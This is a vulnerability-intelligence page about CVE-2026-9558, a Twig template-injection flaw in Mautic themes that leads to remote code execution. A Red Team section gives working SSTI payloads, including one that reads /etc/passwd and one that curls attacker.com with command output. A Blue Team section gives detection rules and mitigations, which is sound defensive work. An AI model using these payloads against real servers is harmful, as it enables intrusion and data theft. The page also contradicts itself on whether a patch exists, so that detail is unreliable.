☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 🐛 CWE-1336
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-9558

CVE-2026-9558 Remote Code Execution in Mautic
📅 PUBLISHED: 2026-05-29 11:16 UTC 🔄 UPDATED: 2026-10-08 19:48 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v4.4.20 — source: Mautic. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.79%
👁️
0.79% probability
19.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-9558 is a critical Server-Side Template Injection (SSTI) vulnerability in the Mautic marketing automation platform. The flaw resides in the theme engine, which processes uploaded Twig templates without a sandbox or strict function restrictions. An authenticated attacker with permissions to create or upload themes can inject malicious Twig syntax, leading to Remote Code Execution (RCE) on the underlying server. This allows full compromise of the application, data exfiltration, and lateral movement within the network. The CVSS score of 9.9 reflects the ease of exploitation and the catastrophic impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mautic is a PHP-based open-source application distributed via GitHub and Composer. The vulnerability exists in the core theme engine, not in a third-party package. However, organizations using Mautic should verify the integrity of their installation and ensure no malicious themes have been uploaded. The risk is amplified if Mautic is deployed in a shared hosting environment or integrated with other systems via API.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Base Score: 9.9 (Critical)
  • Attack Vector (AV): Network – Exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs a valid account with theme upload permissions.
  • User Interaction (UI): None – No victim action needed.
  • Scope (S): Changed – Impact extends beyond the vulnerable component.
  • Confidentiality (C): High – Full file system and configuration access.
  • Integrity (I): High – Arbitrary code execution.
  • Availability (A): High – Potential for denial of service or full system takeover.

Threat Level: Critical. The combination of low privileges required and high impact makes this a prime target for both targeted attacks and automated exploitation.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the Twig templating engine. Mautic allows authenticated users to upload custom themes, which are essentially ZIP archives containing Twig template files. When a theme is activated or rendered, Mautic processes the Twig templates without enabling Twig's built-in sandbox extension or restricting dangerous functions like system(), exec(), or file_get_contents().

Attack Flow:

  1. An attacker with a user account that has "Create/Upload Themes" permission logs into Mautic.
  2. The attacker crafts a malicious Twig template containing payloads such as:
    {{ ['id']|filter('system') }}
    
    or
    {{ _self.env.registerUndefinedFilterCallback("exec") }}
    {{ _self.env.getFilter("id") }}
    
  3. The attacker packages this template into a valid Mautic theme ZIP file and uploads it via the administrative interface.
  4. When the theme is rendered (e.g., during email generation or page display), the Twig engine evaluates the malicious code, executing arbitrary system commands.
  5. The attacker can then read sensitive files, execute further payloads, or establish persistence.

Root Cause: The absence of a Twig sandbox and the lack of function whitelisting in the theme rendering context.

Vulnerable vs. Patched Code

Since no official patch exists, the following comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

// In Mautic's theme rendering logic
$twig = new \Twig\Environment($loader);
// No sandbox configured
echo $twig->render('theme_template.html.twig', $context);

Patched Code (Expected):

// Secure implementation with sandbox
$twig = new \Twig\Environment($loader);
$policy = new \Twig\Sandbox\SecurityPolicy(
    ['if', 'for', 'set', 'block', 'include'], // Allowed tags
    ['escape', 'lower', 'upper', 'date'],      // Allowed filters
    ['App\Entity\SomeEntity'],                 // Allowed methods
    ['property1', 'property2'],                // Allowed properties
    []                                         // Allowed functions (none)
);
$sandbox = new \Twig\Extension\SandboxExtension($policy);
$twig->addExtension($sandbox);
echo $twig->render('theme_template.html.twig', $context);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable Mautic instance (e.g., version 4.x or 5.x prior to any patch).
  2. Create a user account with "Theme Manager" permissions.
  3. Prepare a malicious theme ZIP file.

Exploitation Steps:

  1. Log in to Mautic as the privileged user.
  2. Navigate to Themes → Upload Theme.
  3. Upload the malicious ZIP file.
  4. Activate the theme.
  5. Trigger rendering (e.g., by previewing an email or visiting a page that uses the theme).
  6. Observe command execution.

Malicious Theme Structure:

malicious_theme/
├── config.json
└── views/
    └── index.html.twig

config.json:

{
  "name": "Malicious Theme",
  "author": "attacker",
  "description": "POC for CVE-2026-9558"
}

views/index.html.twig:

{{ ['cat /etc/passwd']|filter('system') }}

Alternative Payload (for stealth):

{% set cmd = 'curl http://attacker.com/$(whoami)' %}
{{ [cmd]|filter('system') }}

Blue Team (Defensive)

Detection Steps:

  1. Monitor for unusual theme uploads, especially from non-admin users.
  2. Inspect uploaded ZIP files for Twig templates containing filter, map, reduce, or system keywords.
  3. Enable file integrity monitoring on the Mautic themes directory.
  4. Review web server logs for unexpected command execution patterns (e.g., cat /etc/passwd in URL parameters).

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri=*theme*upload*
| table _time, src_ip, user, uri
| sort - _time

Indicators of Compromise (IOCs)

Type Indicator Description
File malicious_theme.zip Suspicious theme archive
File views/*.html.twig containing filter('system') Malicious Twig template
Network Outbound connections to attacker-controlled IPs Post-exploitation C2
Process php executing cat /etc/passwd Command execution
Log Twig_Error_Syntax or Twig_Error_Runtime exceptions Failed exploitation attempts
Log Unusual POST requests to /s/themes/new Theme upload activity

Detection Engineering

YARA Rule

rule CVE_2026_9558_Mautic_SSTI {
    meta:
        description = "Detects malicious Twig templates exploiting CVE-2026-9558"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-9558"
    strings:
        $twig_filter = /filter\(['\"]system['\"]\)/
        $twig_map = /map\(['\"]system['\"]\)/
        $twig_reduce = /reduce\(['\"]system['\"]\)/
        $twig_exec = /exec\(/
        $twig_shell_exec = /shell_exec\(/
    condition:
        any of them
}

Sigma Rule

title: Mautic SSTI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-9558 via malicious theme uploads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '*/s/themes/new*'
    condition: selection
falsepositives:
    - Legitimate theme uploads by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-9558 Mautic SSTI Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/s/themes/new"; http_uri;
    content:"multipart/form-data"; http_client_body;
    pcre:"/filter\(['\"]system['\"]\)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2026-9558;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Theme Uploads: Restrict the ability to upload themes to only super-administrators. If possible, disable the feature entirely until a patch is available.
  2. Audit Existing Themes: Review all currently installed themes for malicious Twig code. Remove any suspicious themes.
  3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing filter('system') or similar SSTI payloads in POST bodies.
  4. Network Segmentation: Ensure the Mautic server is isolated and cannot reach internal critical systems.

Long-Term Fix:

  • Apply the official patch from Mautic as soon as it is released.
  • Implement a Twig sandbox in custom code if you maintain a fork.
  • Enforce strict file upload validation: only allow specific file types and scan archives for dangerous content.

Workaround:

  • Modify the Mautic source code to enable the Twig sandbox extension. Locate the theme rendering function and add:
    $twig->addExtension(new \Twig\Extension\SandboxExtension($policy));
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-9558/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.